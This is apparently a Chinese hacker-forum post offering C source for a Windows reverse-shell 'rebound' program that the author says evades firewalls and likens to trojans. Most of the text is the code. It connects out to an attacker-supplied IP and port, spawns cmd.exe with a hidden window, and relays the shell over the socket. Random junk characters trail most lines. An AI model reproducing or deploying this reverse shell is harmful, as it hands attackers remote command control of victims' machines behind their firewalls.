这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =dzWmL<~8
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/* ============================== khx.yRx
Rebound port in Windows NT raE
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By wind,2006/7 19c@ `?
===============================*/ 2&he($HIzg
#include c2 A ps
#include ^m!_2_q
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#pragma comment(lib,"wsock32.lib") !_~Uv xM+
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void OutputShell(); `Ye8
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SOCKET sClient; 'T,c.Vj)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h|bT)!|
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void main(int argc,char **argv) 6w|J-{2
{ kWhr1wR1
WSADATA stWsaData; TL0[@rr4
int nRet; Ws I>n
SOCKADDR_IN stSaiClient,stSaiServer; };,/0Fu
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if(argc != 3) jlqv2V7=/
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printf("Useage:\n\rRebound DestIP DestPort\n"); g/~XCC^F?
return; W)*p2#l
} 5~H#(d<oZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); W),l
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H8{ol6wc)6
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stSaiClient.sin_family = AF_INET; 0w=R_C)s
stSaiClient.sin_port = htons(0); W!T"m)S
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Jr;jRe`4c
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h-#1U3d
{ LP];x3
printf("Bind Socket Failed!\n"); "V&I^YSc>
return; |[$~\MU
} x/
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stSaiServer.sin_family = AF_INET; ;# uZhd
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5!X1G8h)uy
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O|kOI?f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) aUU7{o_Z
{ fCWGAO2
printf("Connect Error!"); )h{ ]k=
return; QDx$==Fo
} )e|=mtp
OutputShell(); Q~{H@D`<
} =u[k1s?
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void OutputShell() 2c5-)Dt)T
{ &;&ho+qD
char szBuff[1024]; n>>Qn&ym
SECURITY_ATTRIBUTES stSecurityAttributes; k,yZ[n|`
OSVERSIONINFO stOsversionInfo; 5=|hC3h
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j|4C\~i
STARTUPINFO stStartupInfo; E>|: D
char *szShell; Dd/wUP
PROCESS_INFORMATION stProcessInformation; r SkUSe6
unsigned long lBytesRead; p5r]J +1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -G7TEq)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7*5Z
stSecurityAttributes.lpSecurityDescriptor = 0; [* ?Awf`
stSecurityAttributes.bInheritHandle = TRUE; Z;/$niY
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0'YG6(h
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kE9esC3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); aFz5leD
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5,-U.B}
stStartupInfo.wShowWindow = SW_HIDE; },+wJ1
stStartupInfo.hStdInput = hReadPipe; l
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hCjR&ZA
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GetVersionEx(&stOsversionInfo); !$-\;<bZw
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switch(stOsversionInfo.dwPlatformId) Qx;\USv
{ U4aU}1RKz
case 1: /='. 4v
szShell = "command.com"; /DQaGq/Ld
break; /+Lfrt
default: $6OkIP.
szShell = "cmd.exe"; 1cS}J:0P
break; 8>,jpAN}r
} (q+)'H%iK
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QnZcBXI8
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send(sClient,szMsg,77,0); .ZvM ^GJb
while(1) ![]``g2
{ i;LXu%3\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z 9FfU
if(lBytesRead) g35DV6
{ Tq]Sn]CSP
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =jB08A
send(sClient,szBuff,lBytesRead,0); [<DZ*|+
} KD`IX-r{s
else AC>`'Gx
{ QFYWA1<pDh
lBytesRead=recv(sClient,szBuff,1024,0); Tb3J9q+ya
if(lBytesRead<=0) break; O+y-}7YX
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vn*tpbz
} > ;/l)qk,
} 28 8XF9B^
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return; j@YU|-\qh
}